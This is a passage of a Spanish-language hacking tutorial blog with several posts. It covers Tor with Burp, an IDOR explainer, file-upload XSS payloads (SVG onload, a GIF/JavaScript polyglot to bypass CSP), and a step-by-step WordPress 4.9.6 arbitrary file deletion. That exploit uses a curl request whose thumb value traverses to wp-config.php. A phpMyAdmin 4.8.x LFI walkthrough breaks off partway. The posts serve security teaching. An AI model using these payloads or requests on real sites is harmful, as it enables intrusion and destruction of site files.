<span style="font-family: Courier New, Courier, monospace;">IP: 127.0.0.1 PORT: 9150</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Seleccionamos la opción:<b><i> Use SOCKS Proxy</i></b> y tambien Do DNS Lookups over Sock Proxy.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLa88Yl2zsEPhJ7IK5IGqCr9zACiN-vqaBDIxV5UZxQxKM_K_gUCIdSQrRVHOYgGIEuWq2WStyVmsLH3d_Q8pR8qjrgIYbry6lFwupDNK23Vzd4M9Ci_74aBrkBEevujlwS8AZMth8-yRx/s1600/Screenshot_250.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="324" data-original-width="619" height="167" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLa88Yl2zsEPhJ7IK5IGqCr9zACiN-vqaBDIxV5UZxQxKM_K_gUCIdSQrRVHOYgGIEuWq2WStyVmsLH3d_Q8pR8qjrgIYbry6lFwupDNK23Vzd4M9Ci_74aBrkBEevujlwS8AZMth8-yRx/s320/Screenshot_250.png" width="320" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">5.- Ingreso a Mi firefox y hago peticiones por ejemplo <a href="https://www.cual-es-mi-ip.net/">https://www.cual-es-mi-ip.net/</a>:</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzsvcxnKjIj_zhumvEnkTi4Vne97EhcbxCe_DFqAXJX6FFMUqAVJ7FKyUNf6somlbPvg9Wdah-UqOcxOCRGZlMxTz_rWp4nteJhNn-_rgPVwhpnZGmNFW0fNWBFNfc_AQ4T3xlbGE55s-v/s1600/Screenshot_251.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="252" data-original-width="869" height="115" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzsvcxnKjIj_zhumvEnkTi4Vne97EhcbxCe_DFqAXJX6FFMUqAVJ7FKyUNf6somlbPvg9Wdah-UqOcxOCRGZlMxTz_rWp4nteJhNn-_rgPVwhpnZGmNFW0fNWBFNfc_AQ4T3xlbGE55s-v/s400/Screenshot_251.png" width="400" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Listo tenemos configurado TOR para usar con BURP.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>Arthusuhttp://www.blogger.com/profile/07251487834367553805noreply@blogger.com0tag:blogger.com,1999:blog-2586919884408211723.post-32027407092422586412018-09-15T11:23:00.000-07:002018-09-15T11:23:08.273-07:00IDOR: Referencia insegura de objeto directo<span style="font-family: Courier New, Courier, monospace;">Es una vulnerabilidad que generalmente conduce a la perdida de datos confidenciales, pero también puede dar lugar a una menor modificación de los datos.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Considere una URL como: <b>http://idor.ejemplo.com/perfil?UID=24</b> que devuelve una pagina como:</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<blockquote class="tr_bq">
<i><span style="font-family: Courier New, Courier, monospace;">Nombre: Juakersin</span><span style="font-family: Courier New, Courier, monospace;">Contraseña: C0ntr4señ4123</span></i></blockquote>
<span style="font-family: Courier New, Courier, monospace;"></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Ahora imagine que se conecta al sistema con su cuenta, y cambiamos esa URL por lo siguiente: <b>http://idor.ejemplo.com/perfil?<span style="color: orange;">UID=26</span></b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<blockquote class="tr_bq">
<i><span style="font-family: Courier New, Courier, monospace;">Nombre: Chico Malo</span><span style="font-family: Courier New, Courier, monospace;">Contraseña: g0d</span></i></blockquote>
<span style="font-family: Courier New, Courier, monospace;"></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">¡Esa es la referencia inseguro de objeto directo! simplemente se cambio un parámetro y pudo acceder a datos que no debería, es tan simple como eso. Creo que es una vulnerabilidad que muy a menudo se pasa por alto, ya que el parámetro no tiene que ser tan obvio como este ejemplo, y otro es por que los escaneres automáticos no son nada buenos para detectar este tipo de problema ya que necesariamente tendrían que tener inteligencia para poder darse cuenta que los datos que esta arrojando no deberían de ser accesibles.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Sin embargo el impacto no solo se da en perdida de datos confidenciales, considere también URLs como:</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b>http://idor.ejemplo.com/cambiarContrasena?userID=793</b></span><br />
<b><span style="font-family: Courier New, Courier, monospace;"></span></b><br />
<span style="font-family: Courier New, Courier, monospace;"><b>http://idor.ejemplo.com/eliminarCuenta?userID=793</b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">¡Aquí podría obtener el control de la cuenta y ademas perdida de información! Una vulnerabilidad bastante simple que se basa simplemente en una cantidad insuficiente de autenticacion. </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Donde los permisos del usuario no se validan, antes de que se sirvan los datos.</span>Arthusuhttp://www.blogger.com/profile/07251487834367553805noreply@blogger.com0tag:blogger.com,1999:blog-2586919884408211723.post-22220944554061805922018-09-09T23:22:00.000-07:002018-09-09T23:22:22.167-07:00XSS al subir archivos<span style="font-family: Courier New, Courier, monospace;">Un input para cargar archivos es una gran oportunidad para realizar ataques XSS. El área restringida de un usuario como cargar una imagen de perfil es una gran oportunidad, y nos brinda el poder realizar este ataque por fallo del programador. Básicamente podríamos tener los siguientes ataques.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b><u><i>1) Cambiar el nombre del archivo</i></u></b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">El nombre del archivo en si puede estar reflejado o persistente en una pagina, por lo cual se trata solamente de nombrar el archivo.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg74-CKDKO4-Xa3V2m9u68nDEndeWpH7kc1arNMga7xv_C-Gnzu4kN2pk4fdvHUhZKXOysXMR4jHYolAtdomdbkGDY5hfxWP0X_q5x_9mw9MUbQl1TzQ7BfsgG1zDcpSCm1JE-wxPyBLoVG/s1600/xss-gif-filename.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="501" data-original-width="700" height="285" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg74-CKDKO4-Xa3V2m9u68nDEndeWpH7kc1arNMga7xv_C-Gnzu4kN2pk4fdvHUhZKXOysXMR4jHYolAtdomdbkGDY5hfxWP0X_q5x_9mw9MUbQl1TzQ7BfsgG1zDcpSCm1JE-wxPyBLoVG/s400/xss-gif-filename.gif" width="400" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b>"><img src=X onerror="alert(document.domain)">.png</b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Es recomendable utilizar un sistema linux para este tipo de ataques.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Pueden probar con w3schools ya que es vulnerable a este ataque: <a href="https://www.w3schools.com/jsref/tryit.asp?filename=tryjsref_fileupload_value">https://www.w3schools.com/jsref/tryit.asp?filename=tryjsref_fileupload_value</a></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b><i>2) Metadatos</i></b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Usando exiftool es posible alterar los metadatos que puedan llevar una ataque xss reflejado en alguna parte.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><i>Syntax: exiftool [OPTIONS] FILE</i></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Ejemplo: exiftool -make='<script>alert(/xss/)</script>' FILE</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXY6yB18Ke7Q7tu_9z5ueSj513LwgM11QuvnYJ-8ltFDUkjuLzqbqcVa-bTMhnByS1du3MJa1wYuHzsuXc8djeEaVso3vzbunyrsktTjbqLyPP2LYFWjWwKgkZxRZsYltPPBliwVh2umIM/s1600/Screenshot_212.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="49" data-original-width="883" height="33" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXY6yB18Ke7Q7tu_9z5ueSj513LwgM11QuvnYJ-8ltFDUkjuLzqbqcVa-bTMhnByS1du3MJa1wYuHzsuXc8djeEaVso3vzbunyrsktTjbqLyPP2LYFWjWwKgkZxRZsYltPPBliwVh2umIM/s640/Screenshot_212.png" width="640" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5Rtc1aJywIPOHkw5KrUcjQx5mRv51MF1aZfuUG5PeCEblvBk5E7Id-lLLLVRM-8IuDNMbYyw5gosYtev6QTWxrHefVqhAuRFXTMxGTobFcvjwpbhrJ_84uhD2WyCJYWS2_kwmxDl56eAD/s1600/Screenshot_213.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="486" data-original-width="590" height="526" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5Rtc1aJywIPOHkw5KrUcjQx5mRv51MF1aZfuUG5PeCEblvBk5E7Id-lLLLVRM-8IuDNMbYyw5gosYtev6QTWxrHefVqhAuRFXTMxGTobFcvjwpbhrJ_84uhD2WyCJYWS2_kwmxDl56eAD/s640/Screenshot_213.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<span style="font-family: Courier New, Courier, monospace;"><b><i>3) Contenido</i></b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Si la aplicación le permite la carga de un archivo SVG (que también es un tipo de imagen), se puede usar un archivo con el siguiente contenido para ejecutar un XSS:</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><i><b><svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/></b></i></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b><i>4) Fuente</i></b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Es fácil crear una imagen GIF que lleve un payload javascript para utilizarlo como fuente en algún script. Esto es útil para eludir el CSP (La cabecera de política de seguridad de contenido) "script src 'self'" (que no permite <script>alert(1)</script> por ejemplo), si podemos inyectar con éxito en el mismo dominio, como se muestra a continuación.</span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5qaD0R24_AK1M5geMyNM24C4ZBP-PnsTOxt3-7mCdlDw4YwdQJ3rA6Lz74sBCPxwu1C2ms7G9vc2G1wm3cKxNyaopwTuUgUdXBCD8GXYwzI6b4Bd4OwvupVLmRtByBoUhUYpnsdOHVo7p/s1600/xss-gif-source.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="501" data-original-width="700" height="285" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5qaD0R24_AK1M5geMyNM24C4ZBP-PnsTOxt3-7mCdlDw4YwdQJ3rA6Lz74sBCPxwu1C2ms7G9vc2G1wm3cKxNyaopwTuUgUdXBCD8GXYwzI6b4Bd4OwvupVLmRtByBoUhUYpnsdOHVo7p/s400/xss-gif-source.gif" width="400" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Para crear una imagen de este tipo simplemente utilícela como contenido y guárdela con la extensión .gif</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b><i>GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;</i></b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">La firma de un archivo GIF, GIF89a se usa como una variable de javascript asignada a la función de alerta. Sin embargo, entre ellos hay un vector XSS comentado en caso de que la imagen se pueda recuperar como un MIME de texto/HTML, permitiendo así la ejecución de un payload simplemente solicitando el archivo.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Como también podemos ver a continuación, el comando similar al de UNIX junto a las funciones de PHP exif_imagetype() y getimagesize() lo reconocen como un archivo GIF. Por lo tanto, si una aplicación esta usando solo esto para validar la imagen, el archivo se cargara (pero puede desinfectarse mas adelante).</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0i1qP9BJddLc5PVmPRoFySalzavZ7P9NFfoyom889XLKtqDJvNAeaSzPEWkA0f_2aGEbDb0KGpKZZOOGaOkoiloO9JyLNFR9p2kEhKr5jHvWh7SNiUNpgRfeTy5qlUcrfoQhe8KYEPomD/s1600/xss-gif.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="375" data-original-width="768" height="195" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0i1qP9BJddLc5PVmPRoFySalzavZ7P9NFfoyom889XLKtqDJvNAeaSzPEWkA0f_2aGEbDb0KGpKZZOOGaOkoiloO9JyLNFR9p2kEhKr5jHvWh7SNiUNpgRfeTy5qlUcrfoQhe8KYEPomD/s400/xss-gif.png" width="400" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Para mas tipos de archivos que tienen su propia firma para la asignación de un javascript puede verificar esto: <a href="https://en.wikipedia.org/wiki/List_of_file_signatures">https://en.wikipedia.org/wiki/List_of_file_signatures</a></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Hay ejemplo mas elaborados que usan archivos de imagen, generalmente omitiendo filtros como los de la biblioteca GD. Un ejemplo:</span><br />
<span style="font-family: Courier New, Courier, monospace;"><a href="https://github.com/d0lph1n98/Defeating-PHP-GD-imagecreatefromgif">https://github.com/d0lph1n98/Defeating-PHP-GD-imagecreatefromgif</a></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Traducido por Arthusu</span><br />
<span style="font-family: Courier New, Courier, monospace;">Entrada creada en Brute Logic: <a href="https://brutelogic.com.br/blog/file-upload-xss/">https://brutelogic.com.br/blog/file-upload-xss/</a></span>Arthusuhttp://www.blogger.com/profile/07251487834367553805noreply@blogger.com0tag:blogger.com,1999:blog-2586919884408211723.post-8599122568535328202018-09-09T11:55:00.001-07:002018-09-09T11:55:39.452-07:00Exploit Wordpress 4.9.6 - Eliminación de archivos arbitrarios<span style="font-family: Courier New, Courier, monospace;">Hola en el 2013 publique una entrada sobre eliminación de archivos arbitrarios y les traigo un exploit en wordpress y como puede ser explotado, si quieres una explicación de como funciona esta vulnerabilidad les dejo el enlace de mi entrada anterior:</span><br />
<span style="font-family: Courier New, Courier, monospace;"><a href="https://arthusu.blogspot.com/2013/07/eliminacion-de-archivos-arbitrarios.html">https://arthusu.blogspot.com/2013/07/eliminacion-de-archivos-arbitrarios.html</a></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b>Intro</b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Wordpress es el CMS mas popular segun w3techs:</span><br />
<span style="font-family: Courier New, Courier, monospace;"><a href="https://w3techs.com/technologies/overview/content_management/all">https://w3techs.com/technologies/overview/content_management/all</a></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">RIPS revelo esta vulnerabilidad el 26 de junio del 2018:</span><br />
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/">https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/</a></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b><i>Explotando la vulnerabilidad de eliminación de archivos arbitrarios</i></b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">1.- Iniciamos sesion</span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5Mgs_IqlByisFL0i2X-BGh0knIlxN_QLT_rE1-TW45LwigNiPCmJB7ltDWeTESEY3vnZhObUwWcmcl3VfWTDygQ3OHcehEGCbNY9G9tPB6BpjcjH_iRkDMDi_0V2fzKSy6VXH1nmKZTlX/s1600/Screenshot_198.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="507" data-original-width="498" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5Mgs_IqlByisFL0i2X-BGh0knIlxN_QLT_rE1-TW45LwigNiPCmJB7ltDWeTESEY3vnZhObUwWcmcl3VfWTDygQ3OHcehEGCbNY9G9tPB6BpjcjH_iRkDMDi_0V2fzKSy6VXH1nmKZTlX/s320/Screenshot_198.png" width="314" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">2.- Nos dirigimos a agregar una nueva imagen y la subimos</span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTi42F_UlpEFaZYUPSUX2faAM-3ysF877PYCSTNldlrpqD-e87vLHhXDEN-3r-jt0FIKgvr6jsegrs45qEeAyAl1gtCUjXOQsAO7Qe2mTrQAThm9DEZ2QKz_QQ32gP8xDk72m6lfg69e7U/s1600/Screenshot_199.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="497" data-original-width="1365" height="145" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTi42F_UlpEFaZYUPSUX2faAM-3ysF877PYCSTNldlrpqD-e87vLHhXDEN-3r-jt0FIKgvr6jsegrs45qEeAyAl1gtCUjXOQsAO7Qe2mTrQAThm9DEZ2QKz_QQ32gP8xDk72m6lfg69e7U/s400/Screenshot_199.png" width="400" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">3.- Damos clic en la imagen y establecemos $meta['thumb'] (datos en la meta data de la imagen), recordemos el id de la imagen que se muestra arriba de la URL, como se muestra a continuación:</span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEd9Zym4M2M_anApv9md7KNL9kKqEOk467g-DVhat5TQafPUZ-XVgjD8ow69MWiAjgZh533K1skp3bQt94954fVp1kaH-yqjh_UEj_NEN_vefyaKA0K0qMPQh-FjFKeMiEA8Y7pPbkxKqr/s1600/Screenshot_200.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="636" data-original-width="1322" height="191" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEd9Zym4M2M_anApv9md7KNL9kKqEOk467g-DVhat5TQafPUZ-XVgjD8ow69MWiAjgZh533K1skp3bQt94954fVp1kaH-yqjh_UEj_NEN_vefyaKA0K0qMPQh-FjFKeMiEA8Y7pPbkxKqr/s400/Screenshot_200.png" width="400" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">4.- Nos dirigimos a la url con el post <b>http://localhost/wp-admin/post.php?post=4&action=edi</b>t y buscamos <b><i>_wpnonce</i></b> usando inspeccionar codigo>ctrl+f</span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghqvgmsNOrMBdkPTxgDrQK9LP4TbLTFtXcrUMIkdhiTtnG8pvaEcyGRqcSwiLJpNJQvoMCcW_epl0bKobD24DEXGhLOIevh-czvHdxspKeuDTLFRIn0AxZZG-jW3zTNgMXDgF-P6Zr5f5D/s1600/Screenshot_201.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="206" data-original-width="1060" height="77" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghqvgmsNOrMBdkPTxgDrQK9LP4TbLTFtXcrUMIkdhiTtnG8pvaEcyGRqcSwiLJpNJQvoMCcW_epl0bKobD24DEXGhLOIevh-czvHdxspKeuDTLFRIn0AxZZG-jW3zTNgMXDgF-P6Zr5f5D/s400/Screenshot_201.png" width="400" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">5.- Enviamos nuestro vector de ataque usando cURL:</span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-8vgClTP-2yOQhQm5zFdRObnYbnFcRvEQ3JfaNT1YXjCdxWPeYyJ5SBQa8YnEexLAflLZBNFWz5H9-12INx92FcGWfSwEQ7fm21MEcRENwZj1fCbzurxg-aNZuupZYbI1PAaiVXv9xYuI/s1600/Screenshot_203.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="506" data-original-width="1287" height="156" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-8vgClTP-2yOQhQm5zFdRObnYbnFcRvEQ3JfaNT1YXjCdxWPeYyJ5SBQa8YnEexLAflLZBNFWz5H9-12INx92FcGWfSwEQ7fm21MEcRENwZj1fCbzurxg-aNZuupZYbI1PAaiVXv9xYuI/s400/Screenshot_203.png" width="400" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b>curl -v 'http://localhost/wp-admin/post.php?post=4' -H 'Cookie: ***' -d 'action=editattachment&_wpnonce=***&thumb=../../../../wp-config.php'</b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">donde <b>***</b> es tu valor de la cookie y <b>***</b> en <b><i>_wpnonce</i></b> es tu identificador que recogiste al inspeccionar el HTML.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">7.- Lanzamos el ataque, buscamos de nuevo _wpnonce en el código fuente estando en: </span><b style="font-family: "Courier New", Courier, monospace;">http://localhost/wp-admin/post.php?post=4&action=edit </b><span style="font-family: "Courier New", Courier, monospace;">copiamos el identificador de _wpnonce y ejecutamos nuestro payload que eliminara el archivo deseado:</span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7ikLh7RufjoXZakbYAJL-IS4x-WkV1hBcdh-GShJQg5g5UMYSpAN4gLy-6L7W1wlkaXGkXosFcDrX0SUb2uur9rDl-zGaZ43LbR4f2soUsM-hpOT3M8Xbk4OnP16u-KqDj4U-pMx5Jsqy/s1600/Screenshot_205.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="515" data-original-width="1289" height="158" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7ikLh7RufjoXZakbYAJL-IS4x-WkV1hBcdh-GShJQg5g5UMYSpAN4gLy-6L7W1wlkaXGkXosFcDrX0SUb2uur9rDl-zGaZ43LbR4f2soUsM-hpOT3M8Xbk4OnP16u-KqDj4U-pMx5Jsqy/s400/Screenshot_205.png" width="400" /></a></div>
<span style="font-family: "Courier New", Courier, monospace;"><br /></span>
<span style="font-family: "Courier New", Courier, monospace;"><br /></span>
<span style="font-family: "Courier New", Courier, monospace;">8.- Recargamos la pagina y el archivo ha sido eliminado.</span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPTDESulzCtAsuNUjhBQkTBajN1qXcsMd4zm0j7w11gCNvu4FkUFozUdGO-KmJrcBYgCGFvchtDiVEnu3EXmG9SimJDhS7895_ArKRr3qYm53juiRL9wmwo3jTQkp96a_8crM6GTJtYdC4/s1600/Screenshot_204.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="591" data-original-width="843" height="224" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPTDESulzCtAsuNUjhBQkTBajN1qXcsMd4zm0j7w11gCNvu4FkUFozUdGO-KmJrcBYgCGFvchtDiVEnu3EXmG9SimJDhS7895_ArKRr3qYm53juiRL9wmwo3jTQkp96a_8crM6GTJtYdC4/s320/Screenshot_204.png" width="320" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Y es todo, espero que les haya gustado, saludos!</span>Arthusuhttp://www.blogger.com/profile/07251487834367553805noreply@blogger.com0tag:blogger.com,1999:blog-2586919884408211723.post-69397615117505293952018-09-09T10:52:00.001-07:002018-09-09T10:52:17.263-07:00Exploit phpMyAdmin 4.8.x LFI<span style="font-family: Courier New, Courier, monospace;">Este exploit no requiere root pero tenemos que tener sesión iniciada en phpMyAdmin.</span><div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">1.- Nos dirigimos a phpMyAdmin e iniciamos sesión.</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">2.- La version que estoy ejecutando actualmente es la 4.8.1</span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjf6EGgpD-PYeiYWn1jxLgK0GQIiNnx5yNqLts-1qTZU4_TMQC4G_UFqJJHh7mwmXwNY7_t9FRwUZyh97zztlU2Kjf4MX9-pZJrmoDNr3u4GcyFs7o2pOTMRpsR6gWlZrUxMI1G7efwFOwb/s1600/Screenshot_194.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="580" data-original-width="1341" height="138" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjf6EGgpD-PYeiYWn1jxLgK0GQIiNnx5yNqLts-1qTZU4_TMQC4G_UFqJJHh7mwmXwNY7_t9FRwUZyh97zztlU2Kjf4MX9-pZJrmoDNr3u4GcyFs7o2pOTMRpsR6gWlZrUxMI1G7efwFOwb/s320/Screenshot_194.png" width="320" /></a></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">3.- Vamos a la pestaña SQL y ejecutamos la siguiente consulta: select '<?php phpinfo();exit;?>';</span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjix7GJmxqsyOrJs7pSPb_ckOynOqPXbgY2yZT66woS7FaIkW_xfC3Qtuwb5gZOIl5UvTLjqyNJG9Hv8bdZkv1yZISCj_wHLQ1CxCQ_-WAz5K_ytc-dQmQ-QLxSLkd-LZXuOF-KT0phkez8/s1600/Screenshot_195.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="340" data-original-width="670" height="162" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjix7GJmxqsyOrJs7pSPb_ckOynOqPXbgY2yZT66woS7FaIkW_xfC3Qtuwb5gZOIl5UvTLjqyNJG9Hv8bdZkv1yZISCj_wHLQ1CxCQ_-WAz5K_ytc-dQmQ-QLxSLkd-LZXuOF-KT0phkez8/s320/Screenshot_195.png" width="320" /></a></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
